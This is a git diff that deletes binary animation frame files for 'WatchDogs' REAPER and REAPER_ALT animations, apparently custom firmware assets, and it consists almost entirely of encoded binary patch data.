z{rlxbU>F)!s+Fm+T7GY#pZ;}zwP^5v|J6Y0YS6uZLI?ZTZ6Fd41i#h)f@-mPxK+;F1m{N~?4^h_HRY(Nqt9BL#p+sydrq z+`^xG{C){Qh}CsnPVjJm3qXlMAQ4XW*1E+VXf(U=_>=-ciKJsK-oM#JW%vms22q=j zR>R}(`-6+$pOQc%mR#JPsp|iJ(Z)|4g(?6593Mif`}U8|`wNi7DKIWnCJVLycI#mB z-_ch?|XjKq=I0}R#6;%K0 z+C|^3;9(RkB$Cx7fXKh`eQ-Q=a!7^>ApofCB9yGB|F73So)STbs#?E!XfB8UdjFJ$ zSN?z}%PBO3$vTt$FMJ+8zy6~EAb`js6i5$;f93as$4C97$e|TTPbP&V##h0k{=dA2 zQvjdgNL`KyN|ptN+V!qKnxy7&DC1LJ_CAci4P**k~7B(Kd`L;HZ> zD3BzOzyafLjL+r)@dXSZ-a3pX6ZGF32mWbbfCI}T2&q+eqw(Lwzwrwc1X3`FM1n!u z+b2ffs{h18C}0H|Xo(7>;(6ld9ied;k7?{sGXXSD>^muYc{Az6VGD$AQ2okO|Hsf!@{A z={?|iP1B=@l6#=M4;NPaULId>{|5(-2P3SMa)0|j{EAVl@Bd-&2!yIj`GRmS_Osyi zcK*M-9zh~-4RVuJ@7&X)C)RiU_&g+nAyBnR1LN!eU+aM3_r>H8OdJv!3H1K`cAx%_ o@DCh3BHIwqTPUAT|F2i($NquiFa1O05Us|i_5by2;2yu1eCE#6cK`qY diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER/frame_7.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER/frame_7.bm deleted file mode 100644 index 99b6dd4e5235dd9714c8debed581d599d14a3e8c..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 904 zcmV;319$uZ0E7eofDZq^10Vt~^q=5AW164;JRfk6uJ>#YxTojMZ2$j(@qUCCTDDO3ta|K4#R znpfab4245ud;N#rABe(I=~K@8RKDQ!r^uud4VMG!_WL8=0SSRcI+pI}@O$9(iC`)c z8qaTRKoNR<>-Y&Kvc2A$TFfF+SlmhhAOV;?MoE^{O7eQ7_?OG?@4w_j<7n-`<&}ZxlhZCN7$g(LRjAbgLl#~a z?hgckNN6+~9#c{L|H^~sFVM&+8BJDJK~j7Tb)1lhR8rU5t;;b)^Z*SWV}PJUJTVAJ zuyybNXrP7SQi&!aNLdnJt-ZBl>0kN( z0|ECO42J+g7zGOjAc&*H4kYnNj1wV9fI@0AZKynMFbFIH2>{4QGP`Y7vr_~IkAxaQ z;eyJ$eQmY2y`yOj%wQ*i$WQ>H)ENX*KjNdnX;m$4N(mIuR3$WAEeG%4fxw1iU*-C0 zSlU%qt81-(_waf@|MT~RM!7jJw%6NR&HwM=;g9)i@Jhs2`tf_rP!xi+iAZS?#vA+g-Q+f&&A}qDE_E zru#+ZCZI^`5iU*t%m3x(vR$HiNaR$HRTF{R`G58j885sXJNX;HYmkc;{@2U3)2Y02 zc|hb+8BR;lzy0Zc*`47yzw#IrBDn+>kJnY`lmB_3@}~#-fCsEbky3$Vb^dtG|5OiLJ_-pUf>Hec3;r-3 zvO0wZ0YT^a|2O<-Jz)53ly4wEAI0x}4_v(>gFwMm{Qn!?I2@b!Jj1CV@MHY{OYVFg zo%$aFE5+q+@c-Zc_+GI%6oXN4&+)+neGjY#5eSI%BlvLW-vmMcD*S^(La={&@_(=H ziXTe+5)mk^=pgui*YCCuNP75encJqakNy7YLFrF~X&WOh#RJ5UA@!g@AXQjr5+Xtv zfITDdm`>MKp3z}{Ui(f-5Q2 zWjk3+C;#;HAG{)w0)*5ekQxk@lUWWAjsf|g;~*3YWJ*N{fJ!7F@xS3ecm#OCBRwr{ z>-%cu1I8c1{lGC0N=_4_R_oJoa>HqGJ}?|)5(!FxKqL|@r6?XV{0GJX7=`FCT}cE> zks`>4$^r5hj0TBNwAKBzt!$_N!N0&iP#$CxDI)7^wzu1L3cnt|z`qa*L?THIgkdsR zN|r0{f4@LK@CZZ_sUgr%ArgoUQ~UqEKx7aYL?Wq4*2=83TC6OdGoKt_9xzR3FKxEl z|NXZxc<%qucBuY)@=ryZX+Vj?LE|$Y53WB&+GqJ#9ZhdbQU{HmKLGVx;UB+kt`T99 zLUIf8f#5nZ_$PDwx7&B`{@GYOYw!#QDlY`|b?5vJwf1XG2Z*?G5GZ^jpj;Ry2iNM^ zGs*!H$zPzI4}JcFOS|NC%=3Xjp-_zncmKEA|NZ)~c>m;Z8clKupi~b}|Gm}QLFYt( z%V9bXzUmi|^=S1#@`uPa*Nh~i{i~qqVi3hhmz@}A$~7_6t$xAoOP zFa9BUZ}#xKB=Qk`zv%C992Z-zUpxeYsb%`h{+E0fJJah2mDUj=-BQ2!f1==FU2kYO zZTb8JL;KSIPW+Qd4ez_|50tJ05c__>qe+=yeZBH|Ut#bHXZ7wh+N6U+*Q@)${rKN% diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER/frame_9.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER/frame_9.bm deleted file mode 100644 index bb78977d6f3cd084f00e924af9ba7773b4b1a11f..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 952 zcmV;p14sM;0JH=DfEEuD)bzXHwg3nuaCXk#+HKYTgkl2_$a*ciaBJW1@d-61L0k6! zzyDBr|L7G=rTR--56pu1`>%R7#FGFXe*XaOcjMF>Xa9fg553b>F2!oU^?BGmckmDG z{;y%`0!FM2BBp%%j*NuJ^O;uCLEggQrqj@ zgVG=Dg~2Tl2&6+L0HTA^6-_9q~>Ft`WtCvcB>GFW`F^~%7 zWB>Qw+kf@t;ET#A4;rM`i>jy4rPYyn!SIoY2J+q2piA$w-zYrc_zZjp$@JK^m0@=Xd z@4PY(?fPS#2c7-_4&q<>vH!5-wZQa{M{t+;9!dxZ8;5)zln6#6{S&%dca{9-yc#n9 z_ui3w)&J!7j0d*=J?VqT@A$vMBM^^87Q3|n+wcF8aeVu*31pJ#6X|FhL$CD%%kEzu z?NgZtnj6RWhsXoUPao*SIUDG%FA4ho$!b9Iqs6}xyd|&y+T4Htw*N@H`Jd=qBdhx=oE|>frVt)m`?MAr1iNhYRWEj075E1azu&FFLtz^4U*8ix z%gCSv^R3lk46%;FE?ezD1-#>o_Dg5?)`SqcBZEDpY z-LL09lwCi+oIX4pHrstyMeq4;;c-bP_xX#Mhs%|!ZVy}gHHGOf-{?e?o?3XbtbTXt z6q<=$|K}xO@vqf*tRcJK={%Z-TKOI~j{o-t;@|rIzx;|P#P&{S@*w!@?zuo9YH!KG<>?(ctQTbPw^Qxji>lO)HnZ;fAE9B!v5gD^8vLl9sluvsB>VDgE;a5 MKg1tk7ehEQ0G~2d{r~^~ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_1.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_1.bm deleted file mode 100644 index a540fee58401199fbbb1f396560c55f6179b704f..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 619 zcmV-x0+js$0A~UKcmu#65C`?n5D(gh0}ueXM94ps3RR$6k_jxz1Ru&xz$PFHpkiQA z2n-4c0E#3jAMgkj6A^#_9RLJaD1`uIDl(8nArT0K5CkBhfPw@FFhm)_03{#|4wp@; z=2W$Es)a*SYSh)Kw!K{^Q!2#ju^O!glO;-$(sDUXMN1W`l}fdGtwkeMl%-{LKmp3k zs$8uWl0~G|QnfWoma0jm(gH*PTFpjFCTz00RVG)e(N!d(5v5|OAyL^% zsYCJAOEk4X`Q)mSttb>qBO;{JLBcOQsq}P2!6go=s2~tH>gt`JML8|hDq7o1RDFhrxp%93CL&{+hz=R1NVD%;#Eb5(5 zT5gNtjWA%0hyf@82Z{W(PVoRmRSa6-L7M~sdb0Y2MLJ>hF$j36BN9KDbU;Pv3m2$= z0s{3LM>G$T;**rvDKZX-0*d3U(;LtLzM=UzOI^B47yz?I^wsKAFi&uNf}tQy@^_hq zB}Vef?vv%J^@yU?tAIc-QUDnMgaGh>5X2x73IHU4V<3V-1B4L}2*dzGfP`Wp7zzXu zgOY$iXfP-x3Y8LoK%f#4k_gHI1|V>NMj;@TNVQN*l%qk2kYcqOjRYbCioir5G>Rn> z3nIl61_cz6NhA?06(U3^7=V0XP#i=95O`_@ZQbZvFgse!i3y5q&Vv-O9 z0);qX1CT(d0)i_D5RwA{K^U3LA_^toqzZsl5io^_Ix+xAjtUT3HrbMt8bM(_kc5y1 FFc2ye%Bm27tnafCbVFk0Ca|d+0|bMkAQuQgcKWK7R%?KRLJ49aJOmT} zRjTQESSQGagoHu@|7z({sZLf^fnS-7s2}NeOG#4F=%GU7WQ+s3SE|x*l}c<-(jmey z7t;@f$qWiazaVizAYY2TOG!w{N-B{N@r4FK@XErmIVq<_-Y^Lu_=H1Xljx+Bngj|` z{X79kuvqv&G;*~}6fl@)Ly5?8wH0`a1U4}Sc~UqOEKq!5IV?m8d?(U@NQ5IH#Zn{? z7!WK|q$3=F6mXIV91=(o7jhW}gMgHYMgs*0E($?OfWAi)t1hzJl! zz(xfS3W(%QMi3Q%p9BIcVhaukwn0K8iGY`*5RyPBLL)Do1`st6u<#z`3Bn7C1OX7( zh6+O<1Puh{Kn9dR9D*${Acuzl2r>wz37~1=8jJ!WHZTD~5rW|%(6!XwMNupgBxn){ zMFb2ugz>gg6$BHQXpVw67Vw406flDbjS+}I!DN}V_z)mLNC1Th6O90%PErMoLP87~ S2#8NYIT(fjaHa8}XalASV=%!0 diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_11.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_11.bm deleted file mode 100644 index 829568563f2a8b17d1eac2b64cd78d9160c86b33..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 784 zcmV+r1MmC+01N{FH-ZKQIPg9{5O5)I0*C-j@I37R=)ixWun3d`J0O8TBoZh_3PA{= zd*SpL28s^|z(@mP4lEXf{~w58IsmZ+3?N>g3;cWtGlO*cKXY(!!{QJSNa-m+^ZtLY zuuAL(1%MWfQ!ErH2kXCofPcXPO({fXArXk=ci;d21OJE&6h@JfIfwv%_TJtHww(}B zWFbi7?T5z#FB$;Aq?o0_-}QTLpSl1|7!(i~Fd7siqt*XgZnxPC2%bOz5{SG*0t{3PMm@TVz=pXTCSuE03j4;tc{>FttAsmenxn#4}X-^N@+23 z>4b(N1ub-n6H&>+iR%Eu0ET@@sX=K|DgyL`VrD27pD6^?#I38bfl&dXz%2wWi>RSd zFofeM7({4M2#iWA6)hP+qzn;&QF1}?loQTDKwzB)B?yW@s#p+k#06qh85V*8B+}tB zfN@90no~#1Kf1h95+r56n7I z0|`Jn5GV-o00|JFLNJOU0tg^O0#7J_yn(_jGZ=)&1V$7Hn+gFzzzj}EdnhF!W=WzE On8d(jCm2P55>P3sL6Yzfhf%ib7U_bNN1cL+#83c#`a3}>Me{Z5eBoPRR zePR#~2jBia&j{3%=j0La7O-R20Ac~aLLnc`|0uvA5k(MzI2-EiRs{%vgNA@A5omzNVgBFhp+@5h41mBOVWM|( z;PGS{^)wh-r{1d)l$Xh(VF83nwLi?Rl2s6pph^P*5*C70`PAB?DyCbO0+rXRVyQ~9 z0T9qu;{fPS_PeN)F-`@5#D1&#Dg=^<{wNd>zCj`WFVcwn<8&XxAYca(6$pf)7!Uk@1N5*0 z2Y@|7cXgm-4*;;zj5ZAV|V21HptZhy4S9XdpO%aNvXm2zn5BU>+DD@Mw|-2(wNB zHyaFMp#emc6_!8|fB_{7!=8 zpcBje?^qy!KnVfBfA_EvfZz+vARZTg{y7kE&;cWWD2Sv$!}q_y;4%Za#4!;7AdN;L zfd6}-W5)m||NdJMIKcr&gd-o<_eV1j0Yu{hgm1s_P%z;iBmfmShD+t&g`)_zG6@9$ zE--^2`#-Q_P>dWzTTlMI%to>Xkhq~5p8l>C1dt?%nnqEAST?_^zSIy>2t-E$5)i2B zHC=6eE5YeWAsFdYs;yq7Rn=Wu3?CY%tG)WwYN?^{Quh6lLSbk{Qgx5iK>hF(lR#=(niX2K6&VUZ*dhfQCJQNt!#h$VfDwz}VG~Uc z-Y5nTf&j{aqNH&<(pVt0nIZ!!1}Yr_=zsKBrP?D)D-fVcem{6&bfOR%BD`ve0V)rY zTd0OFP6337U}0Dcg#z(Ih|);n%sPZ9Do{_R20;{f8AT!$2nGKEz!wwzNFp6LB?5n- zfkJT)^f43!+%Wh?0wzBrf+U6m^o7VFQ6n(GFd`wKgoS25=o}*u{S;7%L`Fnm&|cs$ zT=XnhG71rR!sGbAfd}sb4G1(|gCr6R2mc;`aDVu8VE_*W0O))B`|k((7Csn+g+g!- z_xJyQ{CCU5fFLPgFW3Lv8)^3zB#8(z2?xI~28e%3LjraPi7^%RpwI>)J{SlHNJ9a8 zCaeEmVhZGeh?p-Yer^ak1PQ)HB9MN5>ESRK0G=lT|5ZVXDiZMEAq`=_g+&rE3_$o` zfPq?zSZm`lkUt5$U;~E*1bmSc0Rj#c07f7Hh6RvW02OcsU+?@pdmrd13~t}K=sEBoz5F01H}e3Gh5-bKKq#D!{{jU-|99u{ z2!tX+5g3dI!9RdYVm9x+z6f?0MF3u3h%^JC0R4aGWB1)cz+(^IZ&m~y6Uc!_-9RD@ z!{7G@jR-hH5uk3$qGKJ_x;&{9FqlgbFJ6d1eV@GelwcTvaabatF+7gqtsPEJPRNfG<#3~ZMsBp={MC?RNi zgaX5>wN}ESUMvJE0fC4FMxpBcP++jfY0`?RsMU2~HK7QPheTF0_|hW3SRR9HPbvfj z=tm*S)V#192D%V99RP@A5hD3%DwKQ&+5#vN(631VGO14{3jprbfrB9iiWKOSDJ)kB z^sGQ+6#!6^&m|Ouo(AjSzrq7T3>pYbWR)(gR)K&2|JWkLAenNtTW$a793b&clX##X zP+52T|Nn68s0>p23XA>!`-BA8Gy#a!I-%3I{r}(J`{2UtxQ74z}7(pTL_S)s{0g9wggajgh_qS05SWLM9e?(Anx!G2oX4-5Rc(JTEqVP0Eo)R aAHaAi0J12EMm~U&pa_Hk7l;I$I#K{}Vs_F1 diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_15.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_15.bm deleted file mode 100644 index e1544cecc1e9954301278b4a5b5e54f396c3717b..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 769 zcmV+c1OEI00Q~|0cme1U@P7OO{rvxeUI+plL;^+r{lGATbdq2(5=az60pI^*!omO; zKuq(%GXL-4;p74z{saRb-~6DWk&$pe^2j6yfA^c<0mK<2P|fTR83+FVACLluL;@NV z1N9AnOJE-V?0yjt$c&R|2Y_@SpZ|PpR$v4EfXWxWzn9V=PZ~wO0vQ{J-?fi65lEsq z3E9y5zwr3Pp#>s)=s{R}^nBcmR z2@qth6}#vVN5=r$ImQVPz;-s@@hJn%HY;P;TYFGa0%##YLxNO0f2zb12_T?IFqEVz zz-pCStpW!NDHQx~82|soG2iN`A2QKj#o`Vf_`E_Q04x6d3S&Y04UjA)vip9^!kZs|f9?~0|MY%B z;R27o_6HLvjR-&^VONnLO#{ETk4yFeB1rzuW&I5gZ@=yykNbMFFwq%P{r*S~bXG-? z3JvTiM?wS%M1AX$|M!dI+xL+KPDK&#ga>R`GHCtp_i-S!g=Qnt`;UkAdl88TMKnah z3J64jY625*vy2WU@fL_gf8D?L-CiLfyNbj%Lt#-8bjw7?E85^e0vI3>e^EqeBI%li zoI&9q3M_l<5w?NE7AvE^sK|sM5#PTB4nJ@GxI#j)1&K7C<`5BJi%0+Nzm5&CAOQ{( zSPEnj_TT>Kg8lycuomeDhwLITNY&ubDgcazI7FC diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_16.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_16.bm deleted file mode 100644 index 598b4a7d9fb44872facdf0930a64e16d089d80ad..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 960 zcmV;x13&x$0K5YLL{J~!_&6?LU?ISNr{L(|OTcCSzk*8u0vJRRMe+?71Ml7vjsg)7 zkU+3759fL%5%}+a`20j70R$JHb`Ay`hy0-w5Bvt90Q`UcewJ_=17PLHPdv#pUSwj0?X4feZ%q|M$S62|@pZ%Jxzy z2Galg!OOk3@OaR;QPi;w2etp-oQMD4B@TiQK#)Qx8wGg#z(w~JkHQok9WUHAU;p2K z|NVeOI}jL;$QWPV@9%&6AB|EA{jq+HWBu=j$NpU(*bqpjI354@@Am|k`+jB-(A)3- ze_ro>Ui#hs{r|td?iMcnfB*LN{cYq^|NFmvzxVh1s@CtT{oiPKNF&|)AeU%EWK?P1khb+u3c?R8!7aQ6HEzka;VHNS4yqBsAk^tS5J{c45d zTh{iiU0VI`-}UeB_4R(e{@b;+hsS^F7mxnE{qOdf!>hLSZCg+jm6 z2JPMJ+WMmL>s^C{01-i2@2pYUipN{)uI=`<(um&QBmgVdZoHfucdu2g>u&b-uBgOn zYIxm+M_!?VrZI zzxws*z5TUpG(Ov{t=L^!mG0VPAMUv>KfPaDTv{F1_x;<|Z}s;5UaPHduBycfI=b%I z3_tf+>eXYbBMr3*JL_*(zw57kbzi#uYPa3h8^->59d7(qI{voX)bw7K i-@C8cuIF8&ZY_=b*Y?)_`?cEM-@K0=>Kt|2zOS@Z-ZsGi diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_17.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_17.bm deleted file mode 100644 index 4c24f3458b6f72a0a884ffe137af24960bcad314..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 892 zcmV-?1B3hl0C)ocMz9~>_&6#s5HJ~k=iujpXd~c3;C}D$5GcTaLm{G2K9~6n6T`m# z(BcwF1V$hrFXVOwKt2B% zzyxE^o`wbs`2K>#0A0~YiiRFe8CB#KJO97_{vR9$1Nj5Qf4|@n?|Xy94;chP{h{}Q zN59?yjrVW=_vj&5UjOs|cP5Ach$u84zkmDv?$xTg-Eb(sxAM6Ee*60W*ZaHe-FLm) z?*G55B#-yqd)3mu+iviDN8|hZb@$)@-?z28*86UvfghH)`|t1nw{>YQ*0-zM@BQQP zwVMa+-@i(2w%d1i_5Qw$1V%rhcj%qIsvQfAlY?*W_4VVy)l#ar zzPjXhy}!5jZ(7>wtwI6n^|xQ72({eH;vg~WvrKT?7mZ*0pS$n&*?m{4-aZq7TDHHt_jhaREC~E{ zRiugQb%aZ)s+C%g*K4)g2nLeEF0cPz(xoZ}tWX}PKy;*m z-|hEROr28JJTL&tL*uFb%Jj8fi(o(vRkhXbx|Z1sg@TnWuWS2~sc6a~FcgVvaayjm zTHjT3jYW810t<;$Z@C~S>WAWvO)pcmTJ6;|H6y_ziDE!e>s#p}@zT}1Ve{6O1ui$- zs+eg7!B`ONNM~EoQYuK*2OYNCzLjNlS^(*Q7gog`6;hhJC-Dc!zB~GqR}+#$i0Jmj z;Q)@eDX6V#N#Xz%sf35EFOtb=G$25L64d7{-l_aLuhBufw!L1zyQ<1%Jwl>7hzx&S zX;!!GFVg6K%F!PPxVO7nR^Gp@7!N33*SDzl{@VT4SG89L5g2P#)M)Mf;sMolLFVNx z`4n}#t*yGBwbvVuwbt9-y1M`VzNk$RK-Fa;BD(o~Rjc0j-AlHQkN`Zs*VljUwe~~e z&oBV}cKUz*|9jr+WrJsudyT5w?f={D`(2~Zb#|()P$WO^-)p=3ul4%WwtIK`cX4>? S_r9vQfNHv(RIaP{Ef4$?x%c$| diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_18.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_18.bm deleted file mode 100644 index f8d52d615a9e29c3de8f4dbc8eaff1835118ce11..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1025 zcmXAmUufG_6vnSKWwD(N%f^E3p|xz3MF|YUUd9;IvQQS;*{I{m3#@E;+}I!blzLle zbZs)Q_lL$_N*Hbri~;_Oh+iduSG`6beg1q7dvTi7K7lZoh|n58wBl za}QkPe6ZNawBF*-e*knx{X(^IHJ-12bYWBPPIO07W0_VzhnTB^hHp22x{1oOkLINY zkNi}=HNF>R?ecF+nb}Sdwc(<(|kQ zDN~JT3KwRDnlOZDUojGoQPcvKD{AgdjAV9kM$yWF{u}Y?4Cj{+W(Iv!oS&UlGC3ak z5OaMtS4Zid{t8Ad+7e5)_Mk6`#On=CUaqPDgnPOYyOy5=#XF#7_nk zKT6XPmhmlQN&gy5P&M|tT&nY2siD*iDDTd`Jv+ZcU@W{T$rbU9IWg%gX1e zBW>)@o#d`JAUS=0_U|E=y8HOF*_xbx;jfpLN*+G`?!(>bXu(QE9-L>`ABJu}bLd(V z-h=2jLbSU41%9%6?ytX!ae2(4dESSAVJJvZcA$o9YrsMwV^nwjh055uyL=O$@jkFyvT5!zi zUy}SGi16$axcDj<0PY#);1b;q-XWg_VB4TeCptd5@((!rEgPBzeZxz#UgCfZ16T*J zx<;bpo$c(cThO$?bsXo63OW#`08EoCF|lRZ23dgM5T{M%x_hR(Wm=cPY1>33xH@qy z-5{k0-qQ_SJ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_19.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_19.bm deleted file mode 100644 index 384f3ef2a00fb48659b245119d48515641d58bc5..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1025 zcmW+yUuaup6hFD%n4655o0_->-Ewo+(I(>hxCa^e8j_Jjq3I>54?fga5y=os(X!pI zC19F8bcR;nTq-N38B!7IpryTim@o!{lnozb`-)JI)_Uu(xmmy7d;IG84u|vS_dCDC z2S+17Z*O1H0cx^dII{NQzEW{_PO0P*Nkw}yb~Fa^V&~#01(1Br_V=ChTB7kuu8}gD zibjlx5mU(ML{I}5F8%V=-D~BT4{C;y>*S+)GN~_r90fJGBr5<3CDY7H+eMHdZ;V!A zjh32imdDgtpiKw?QG+nppI8I{+TYQZOY_1B_26gi*Zn9vFiCAApYDXj0 z8!H9y#b~WXN!g!~*V&|>lv^n!r!=6H^qKrUKTLhD)zWhnfOFZ5^N-wdmHTPV~SH0c4wX=VG+1?w9cD{rDHEH9e)irng zxEp?>^GcE29PC}}?OS&?o?bnhzXQw1^mrX#;N<>q7*>a(+C<~zHQTeXYhideOftRJ z8bjBsykONpeI!`_@e$6MHm+=M@{z4GL_gf}=D0hFyAB3+!ZQ5x0B<3B)?edz_JaZX zu=i^! z&*JEz=biGW1XkEHiwU$qp=opGh+I_btZJUly6&bZ@1rN=?f+Tg6wh53Ga>g>>_bz$ jQ+K!s;_3s-LC?0WQ>mX0_!NpRiV01*EJ%s~#a diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_2.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_2.bm deleted file mode 100644 index d376a31b6b2b0736c6aefa0ca119cc3d9604ddf0..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 611 zcmV-p0-XH;0AB(Ccmu#50Q=lDAGWF>10`3$Rs!zL=XZX1&9PhpddlOz$iEX0MGy;4jBXA?QmJ09QL+$@NI*K;P`qV5T~K&H11t^*{AnTKsZnJh!3Z3yb4UUWQ&Uu|^vQ%j z5FzBMkx>B>gaG8>wIB>!K{Sy9hbt7S>3Tw=0gj6$tPl#MYP6iFx$0D^Xt>kkx-XbO z!N$KWFerUM;uH|Pna8>gov2VC;x~;{HednOflwey@c<6Ee?wsgj-+B+t*A`um0hm1 zep+u?iBtqe9bTATpaLk6cy(Km2?U6KtMNbFfj~-Vzr}shXn>m0~ndS zcWUGS9atV)Q@HB$K*KZ%^s8p_V5Y9rPLXk2w_Tth%AM#C9M-s)O$1MqVO#RuAnS}2 zzCN#0e1*)990Y<90)S#95(oeRFaT77Kp_Aj03?bL5CkYBM57Uifzm@O775u%i6HBgLHqE!Tl(I_zpgn~r?fWb(@9~=cj zfF&9xBLxVANhK74keCt(1riB>21q0lVS^1MM==iyB+R1%6A(bCAi|z8K;Si1x1Q>(_&>-cekQ{{R&1CSQ;J{#UK-ZNFgikHi7v{Qvj+U8>!$ z>JK?=29pHt?YFtV_KUJ18*gvyKPm_KUOipaR@Of~{N5-K9{>Meo9kP4{ZV=EX*nn- zU;lfxZGHW)@&EncQrFva`n?v{_ud~D?*H}s|N3L`s}F~6Z$AIGzx4m&#G{&^dvBtn z|9AfXU-wJ@-Iq^oV8Ra%|L!myy;o~*s_MO7|J}TPKK}3j*Z;)*Hrn0(>;1kLm+#;G z`+uTZi$^ba>fWD>AV4vyRd^Ebe%ss&6F8p5m_GWYqJd4_b-%s-{@B_++s}Ucis?`> zzwNKN5Fi2j_Wx!P#p)#&+OMzo{x^^R`|ddm{|i{K^}p4xm~ek<@nV*`)wH-*D}K8! z|9@>Lj=$_@8nvV0|NDJ@hoJ`#e!Kqn*5;b8MQ*#_@f!!#-~R3I&q37fJ}a^M{&&5; zsfdJQUyWM6ckj>t^>6+Bj3fImk9zT23y2tZyZ_ddyei@L$N4>N{k&>FdwsfeS$vd} z^ZVZdM!!PI9RyxG=`52aVn&VMZ=cFZKdIphjx0VsL1>4DJt3s--6ij+(K25y|F3#JH?r<9&Q+y7rxs@*Zizi%T9tLhdX|GKxewui)UJ$kmcRqFet z$Ny`$*8BIcfYUPAOYUOf#*Nk`gOH%asTiCz23Lg|KIliUcTS7 z9)EuSxClGDZr8Q0t9JI*(U|-H|FIZ^M!og**TF&n9sc+G^#dPQY$hN9`|kh$Z@=Gv zt<`mZ-|0O+xAKtxe%)wN#XyrP=G)FtRf@9@B8}uv{0Z6tNZtNew}{z?=KRPXtP4${=P&gJ^k&|nlVARK@6xGV#RxgWcDU=Rq0gZFp;_~bGO3n)>A1jN8R08zL3;V_(os9nV% z5Dz7!SGo=Y3HL7z{_g^iQ9K**c;Di(sR1;M1E_^Scm(nN-{=?$P&j@5===tO2=NvN zzpj-Sc(;*r(rwO{Y)_;vMKRabN`F8x#hHrFuz>!5P}fyeLv+Uspf(*IrS zbz4{e+Fu*puea7C4)ne@+Nk(T#b593x4+P^fCsHsB8U`!eS1)Rd&&aU?)|+Y;D!fk zD;wBYec_?ER=~nd9sRDW*B_66_x{xvhoWCEewSS`+oL|&-?%* zXo!#Bw*nuzC_n=3`*-*L{_l2Q9@l^ExBlPH1Ah_;)RQN@1&AbmqEr9~h(Ls9AG+v& IV*$JU!16i>x&QzG diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_22.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_22.bm deleted file mode 100644 index da38898087e025b472c2240642cb96ffdb4ce28e..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 990 zcmV<410nnY0NMlpf~Nuh02npt5ez1){0}Wws%Y}kzQ19B?e|fvjG_g3@7k?(T8>ur_y5&&v0-_3CjJT77`zw#zOJY+k{{X_f`xD*1> zslZgVRa)GOQTMLK{1xTM_cs6i@8A9R*4F7hxOc*LfWS&65e~O{*Ik*6NXU_U;nrJy$p09(TLz-5L^U;Q`PPN zweWl-5<@}`41yH|gg_-(ESJ&;0M%78u}K{V2;dwC-rH4*z@!BA`n`w$UG3|=O_Km0 z@E%`#b?-Mq2ps}}VD#_5fBx@pt#%)bgA*W#!YH3#czkyIZEm&{nIg!a$MyfW_Wifp z-L3{tI3xxGwEh2o`(D3Wtpb4TA{D3v)gA+sRh&SKN|;k^e-Gj;8ExKKbE6+uhzhk?dt!Z$H8{G*6^U^l6^11@u++C`&kr1 z5rV`(C@>Gt-+%4!S8lqxw_epXneS^;RCuTcq5JLXq>z{mAs|pKru=?A3cj~hij_j5 zFbE4oe?Z~y*f+Jl{!0}^ic%;N2uIWX|NitXav2R4RSES#VOU)ks{g+qk9_(#j8;mp zE)W3rJO6)w!&N|{L?p0EvUsr@FSq}7q}!5)i3ot|kD~yQbwBdyF4naH#6l=I3iF8V zJ73@H+t$FuDlth0{9aKG*1jzO&D0{aUuCZoWn7G2iFDS=pc1VWtNXX#V6`%hOj7~s zg^fz7gn$!=f^94WQ)>p0K`MeF01X3x1S*9G^@oH&GEvz8EW8*-nD}vZNNG@RvA6`1 ztCjUcpgs$>-~U(0z&+9G7DrX;-rry}Dn+8JeSyL&akzv6t5wp{q&N*w0BA$8`{#$m z04O9R3T?5jkH-KBItf_G!$kYXU=mO{14;-27=V0h@wy-wOalsuNoWLNl9I>&mVjV| M1(2j8!jT{qDA{9l#{U@d)rvg2nXz z`|7n=tcnpSp1?j)+60rkRoee`cC23m_x76#hAkq1)HJsGxO{^HsjbmG8CV2^DHPOI zHlzW9L|}vw_(zAs?EUxs{_p?xb_o>_`6aXrL?THb-EQ?&c^m@*dL0CQ5rN)zb$4%l z|NAO}NCX37j=-c82$oWb5WrxiR2;0RzB#a%wg_@g0RavI0jk$^H83DBz#uUggn}Rw zB}nh?@-X1L3;Y8&|n0HmLoY1DERqxj)r z57ER>D3lA-KM8{Hd+pV|ty)_>nd@sYzob3^(5P2?e`?((1pOA7er56uCqlQSuGeC? znL|9J9;kg6gJ6rUij^XjM5Ppn73Mb79)viuQCLr6fr5cmI*sz^MQIW&jVdI*7Xf;K z>@RAU!Cw0>QPdReGr*@WB5lqPEB28VXm}|G$dxF4z9O 